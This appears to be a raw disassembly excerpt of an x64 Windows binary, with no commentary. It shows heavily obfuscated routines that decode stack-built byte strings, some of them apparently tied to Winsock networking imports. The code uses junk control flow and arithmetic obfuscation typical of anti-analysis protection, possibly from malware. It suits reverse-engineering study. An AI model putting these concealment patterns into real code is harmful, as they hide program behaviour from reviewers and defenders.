lea rcx, [rbp + 0x1250]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x1250]
lea rcx, [rbp + 0x1270]
call fcn.140155030
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.1401ed550
mov rbx, rax
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0x1290]
call fcn.140136a10
nop
lea r8d, [r12 + 4]
lea rdx, str.data
lea rcx, [rbp + 0x1290]
call fcn.140140690
nop
lea rdx, [rbp + 0x1290]
lea rcx, [rbp + 0x108]
call fcn.1401eba20
mov rcx, rax
mov rdx, rbx
call fcn.1401eb980
nop
lea rcx, [rbp + 0x1290]
call fcn.14013e780
nop
lea rcx, [rbp + 0x120]
call fcn.14015c880
lea rcx, [rbp + 0x12b0]
call fcn.140135fd0
nop
lea rdx, [rbp + 0x2300]
lea rcx, [rbp - 0x6c]
call fcn.1401a1790
lea rax, [rbp + 0x128]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x128]
call fcn.1401eb770
mov r15, rax
mov qword [rsp + 0x78], rax
cmp byte [rbp + 0x232b], r12b
je 0x140178222
mov r8d, r12d
lea r9, [rbp + 0x2300]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1401781f0
lea rdx, [rbp + 0x2300]
lea rcx, [rbp + 0x12d0]
call fcn.14013a940
mov r14, rax
mov qword [rsp + 0x68], rax
mov byte [rbp - 0x6b], 0
lea rcx, [rbp + 0x12f0]
call fcn.140135fd0
nop
lea rcx, [rbp - 0x6a]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x130]
mov rcx, r14
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x138]
mov rcx, r14
call fcn.14013e7f0
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1310]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x2c10]
call fcn.1401cb620
nop
lea rdx, [rbp + 0x2c10]
lea rcx, [rbp + 0x610]
call fcn.1401e4a40
nop
lea rcx, [rbp + 0x2c10]
call fcn.14015c7a0
lea rdx, [0x14047f108]
lea rcx, [rbp + 0x1330]
call fcn.140155030
mov rdx, rax
lea rcx, [rbp + 0x620]
call fcn.14015d120
nop
mov rdx, r15
lea rcx, [rbp + 0x620]
call fcn.14015d180
lea rdx, [0x14044a4fc]
lea rcx, [rbp + 0x2cf8]
call fcn.1401cb650
nop
lea rdx, [rbp + 0x2cf8]
lea rcx, [rbp + 0x620]
call fcn.14015d160
nop
lea rcx, [rbp + 0x2cf8]
call fcn.14015c7a0
lea rcx, [rbp + 0x620]
call fcn.14015d170
mov rsi, rax
mov byte [rbp + 0x1ff0], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x1ff1], 0xad
mov byte [rbp + 0x1ff2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x1ff3], 0xa3
mov byte [rbp + 0x1ff4], 1
mov byte [rbp + 0x1ff5], 0xa1
mov byte [rbp + 0x1ff6], 2
mov byte [rbp + 0x1ff7], 0xa7
mov byte [rbp + 0x1ff8], 1
mov byte [rbp + 0x1ff9], 0xa5
mov byte [rbp + 0x1ffa], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x1ffb], 0xbb
mov byte [rbp + 0x1ffc], reloc.WS2_32.dll_select
mov byte [rbp + 0x1ffd], 0xb9
mov byte [rbp + 0x1ffe], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x1fff], 0xbf
mov byte [rbp + 0x2000], 1
mov byte [rbp + 0x2001], 0xbd
mov byte [rbp + 0x2002], 0xb2
mov byte [rbp + 0x2003], 0xb3
xor eax, eax
mov qword [rbp + 0x2004], rax
mov dword [rbp + 0x200c], eax
mov byte [rbp + 0x2010], al
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, r12
movabs rdx, 0x6b9a84afcdeadb02
movabs rcx, 0x2a0a73d0e42cb0be
cmp rbx, 0x21
jae 0x140179137
movzx r10d, byte [rbp + rbx + 0x1ff0]
mov rdi, r10
nop dword [rax]
cmp r8, rbx
ja 0x14017912e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017846f
movabs rcx, 0x5755d4c0cde9bf46
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x16
movabs rcx, 0x2a0a73d0e42cb0be
jmp 0x1401784a0
je 0x140179099
lea rax, [r9 + 4]
cmp r8, rax
je 0x14017905d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017900c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140178fdd
nop dword [rax]
cmp r9, rbx
ja 0x140179125
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1401784d7
lea rdx, [rbx + rcx]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x32
add r11b, dl
movabs rdx, 0x6b9a84afcdeadb02
jmp 0x140178531
lea rax, [r9 + 1]
cmp r8, rax
je 0x140178f89
inc rax
cmp r8, rax
je 0x140178f57
lea rax, [r9 + 2]
cmp r8, rax
je 0x140178f43
lea rax, [r9 + 4]
cmp r8, rax
je 0x140178f1e
lea rax, [r9 + 6]
cmp r8, rax
je 0x140178e78
lea rax, [r9 + 5]
cmp r8, rax
je 0x140178e52
lea rax, [r9 + 8]
cmp r8, rax
je 0x140178e18
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140178aed
nop
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140178ac4
lea rax, [r9 + 4]
cmp r8, rax
je 0x140178a96
lea rax, [r9 + 3]
cmp r8, rax
je 0x140178a6b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140178a43
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140178a1a
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1401789f1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401789c8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401789a0
lea r8, [r9 + 0x41]
lea r9, [r8 + 2]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401790fc
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401790d3
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14017870c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1401786d1
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401786aa
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140178944
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1401788b2
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140178882
lea r8, [r9 + 6]
lea r9, [r8 + 0x10]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140178848
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14017881f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1401787f6
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1401787d1
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1401787ac
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140178784
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140178770
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140178747
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x3e8]
jmp 0x140178540
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0xe
add r11b, dl
movabs rdx, 0x6b9a84afcdeadb02
jmp 0x140178531
movabs rdx, 0xbceedb2e32175c76
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x3a
add r11b, dl
movabs rcx, 0x2a0a73d0e42cb0be
movabs rdx, 0x6b9a84afcdeadb02
jmp 0x1401784a0
movabs rdx, 0xe4331ac9643ddea
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x66
add r11b, dl
movabs rcx, 0x2a0a73d0e42cb0be
movabs rdx, 0x6b9a84afcdeadb02
jmp 0x14017842a
movabs rdx, 0x50539e87216585f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178fa8
movabs rdx, 0xf2fc4b83e9be88d8
mov ecx, reloc.WS2_32.dll_inet_ntoa
jmp 0x140178fec
movabs rdx, 0x4450a2024deb0a4c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
add r11b, dl
jmp 0x140179030
movabs rcx, 0x95a4f880b2178bc0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
jmp 0x14017907d
movabs rcx, 0xe6f94eff16440d34
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6c
jmp 0x140179080
movabs rdx, 0x384da57d7a708ea8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178e9c
movabs rdx, 0x89a1fbfbde9d101c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178ed0
movabs rdx, 0xdaf6527a42c99190
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x1ff0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140178403
movabs rcx, 0x26492ab63d38d532
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5e
mov byte [rbp + rbx + 0x1ff0], r11b
inc rbx
jmp 0x140178403
movabs rdx, 0xc8f1d7b30591d81a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x25
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x400
jae 0x140178db7
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140178cb9
movabs rdx, 0xf97e25c1f4df446c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 2
jb 0x1401788a2
movabs rdx, 0xcc32c4d20b2235e4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x78]
jmp 0x140178fa8
movabs rdx, 0x1a462e3169be598e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140178de7
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140178bba
movabs rdx, 0xcf73b1f110b293ae
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1f
jmp 0x1401788ca
movabs rdx, 0x4d930d63bd38a5e8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x140178ed0
movabs rdx, 0x9ee763e22165275c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178e9c
movabs rdx, 0xf03bba608591a8d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140179080
movabs rdx, 0x419010dee9be2a44
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017907d
movabs rdx, 0x92e4675d4deaabb8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140179030
movabs rcx, 0xe438bddbb2172d2c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
dec rbx
inc rbx
jmp 0x140178403
movabs rcx, 0x358d145a1643aea0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x140178403
movabs rdx, 0x86e16ad87a703014
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178fa8
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140178b16
movabs rdx, 0x5755d4c0cde9bf46
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
jmp 0x14017895c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140178b54
movabs rcx, 0x5414e7a1c859617c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
movzx eax, byte [rbp + rbx + 0x1ff0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140178403
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140178b85
movabs rdx, 0xb16c3aa500005e94
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x140178e9c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140178968
movabs rdx, 0xc97233aea6f555dc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x140178fa8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140178bec
movabs rdx, 0x7e1f5b72ac86123a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140178fa8
inc rax
cmp r8, rax
jne 0x140178c1f
movabs rcx, 0xdb76ae75e42d0f52
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
dec rbx
inc rbx
jmp 0x140178403
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140178c51
movabs rdx, 0x38ce01791bd40c6a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017907d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140178c83
movabs rdx, 0xe779aafab7a78af6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179080
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401788d6
movabs rdx, 0x9625547c537b0982
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x39
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178e9c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140178cfc
movabs rdx, 0xa829cf4390b2c2f8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x1ff0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140178403
inc rax
cmp r8, rax
jne 0x140178d2d
movabs rdx, 0x56d578c52c864184
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140178ed0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140178d5e
movabs rdx, 0x5812246c859c010
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x140178e9c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140178d7b
movabs rdx, 0x11841ecb9bd43bb4
mov ecx, 0xa
jmp 0x14017901b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140178914
movabs rdx, 0xc02fc84d37a7ba40
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140178403
movabs rdx, 0x7ade6e53a6f5b470
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0x1ff0]
sub r11b, al
sub r11b, 0x10
add r11b, r10b
add r11b, dl
jmp 0x140179030
movabs rdx, 0x298a17d542c932fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x1ff0]
add r11b, r10b
add r11b, dl
jmp 0x140178e9c
movabs rdx, 0x4e13695f5e9c23aa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x1ff0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140178403
movabs rdx, 0x9f67bfddc2c8a51e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140178ed0
movabs rdx, 0xf0bc165c26f52692
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x80dfec9610b2f242
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x1ff0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xd835c156de9cb188
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x1ff0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x1ff0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140178403
movabs rcx, 0x9364c358ef4e297a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x56
jmp 0x14017907d
movabs rdx, 0x360d7055b7a72c62
mov ecx, 0x29
jmp 0x140178fec
movabs rdx, 0x8761c6d41bd3add6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140178403
movabs rcx, 0xd8b61d5280002f4a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
movabs rcx, 0x23889992d90bf52a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x26
add r10b, cl
mov byte [rbp + rbx + 0x1ff0], r10b
inc r9
dec rbx
inc rbx
jmp 0x140178403
movabs rdx, 0x1e07774c10b2351a
mov ecx, 0x25
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140178403
movabs rdx, 0x6f5bcdca74deb68e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xd234431474df73b6
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, r10b
mov byte [rbp + rbx + 0x1ff0], dl
jmp 0x14017907d
movabs rcx, 0xc0b02448d90b3802
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xe
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140178403
movabs rdx, 0x6017e4269bd3dd2
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x21
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x1ff0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140178403
movabs rdx, 0x5f97882afa705f5e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401783fe
movabs rdx, 0xb0ebdea95e9ce0d2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x21
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1401783e3
lea rax, [rbp + 0x14ca2f8]
jmp 0x14017913e
lea rax, [rbp + 0xf6623e]
jmp 0x14017913e
lea rax, [rbp + 0x1ff0]
mov qword [rbp + 0x140], rax
mov byte [rbp + 0x22d4], 0x79
mov byte [rbp + 0x22d5], 0xad
mov byte [rbp + 0x22d6], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x22d7], 0xa3
mov byte [rbp + 0x22d8], 5
mov byte [rbp + 0x22d9], 0xa1
mov byte [rbp + 0x22da], reloc.WS2_32.dll_recv
mov byte [rbp + 0x22db], 0xa7
mov byte [rbp + 0x22dc], 0x59
mov byte [rbp + 0x22dd], 0xa5
mov byte [rbp + 0x22de], 0x7b
mov byte [rbp + 0x22df], 0xbb
mov byte [rbp + 0x22e0], 3
mov byte [rbp + 0x22e1], 0xb9
mov byte [rbp + 0x22e2], 0x1b
mov byte [rbp + 0x22e3], 0xbf
mov byte [rbp + 0x22e4], recvfrom
mov byte [rbp + 0x22e5], 0xbd
mov byte [rbp + 0x22e6], 6
mov byte [rbp + 0x22e7], 0xb3
mov byte [rbp + 0x22e8], 0xb0
mov byte [rbp + 0x22e9], 0xb1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x22ea], xmm0
mov dword [rbp + 0x22fa], eax
mov byte [rbp + 0x22fe], al
movabs rdi, 0xe6c05cb6e2bb433e
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, r12
movabs rcx, 0x60524d8ecdd827c6
cmp rbx, 0x2b
jae 0x140179f9b
movzx r10d, byte [rbp + rbx + 0x22d4]
mov rdx, r10
cmp r8, rbx
ja 0x140179f92
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017926e
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x6a
jmp 0x1401792a0
je 0x140179f0d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140179ecd
lea rax, [r9 + 3]
cmp r8, rax
je 0x140179e82
lea rax, [r9 + 2]
cmp r8, rax
je 0x140179e58
nop dword [rax + rax]
cmp r9, rbx
ja 0x140179f89
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401792cf
lea rdx, [rbx + rdi]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179310
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140179dfe
lea rax, [r9 + 3]
cmp r8, rax
je 0x140179dd4
lea rax, [rcx + 1]
cmp r8, rax
je 0x140179db0
lea rax, [r9 + 4]
cmp r8, rax
je 0x140179d10
lea rax, [r9 + 5]
cmp r8, rax
je 0x140179cdb
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1401798a3
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14017988f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140179862
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140179838
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140179814
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140179800
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401797d7
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401797ae
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140179779
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x40]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140179f65
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140179f41
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1401794d9
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401794b0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140179487
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140179717
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1401796b5
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140179665
lea r8, [r9 + 0x10]
lea r9, [r8 + 5]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14017962b
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140179602
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1401795d9
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401795b5
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140179591
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14017956d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14017953e
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14017950c
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x7a]
jmp 0x140179320
movabs rdx, 0x4cb01c89c45d9882
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x39
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179310
movabs rdx, 0x8c0b816c28ad48f6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401792a0
movabs rdx, 0xcb66e64e8cfcf96a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0x60524d8ecdd827c6
jmp 0x140179240
movabs rdx, 0x755e4a997a29ca64
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140179223
movabs rdx, 0xb4b9af7bde797ad8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140179223
movabs rcx, 0xf415145e42c92b4c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
jmp 0x140179ea1
movabs rcx, 0x33707940a718dbc0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
jmp 0x140179ef1
movabs rcx, 0x72cbde230b688c34
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
jmp 0x140179ef4
movabs rdx, 0xb22743056fb83ca8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179d2f
movabs rdx, 0xf182a7e7d407ed1c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140179d62
movabs rdx, 0x30de0cca38579d90
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x22d4]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140179223
movabs rcx, 0x8e9dede2976e8726
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xa
cmp r9, 0x40
jb 0x140179c6d
movabs rcx, 0x60cae6e6041fd8e4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
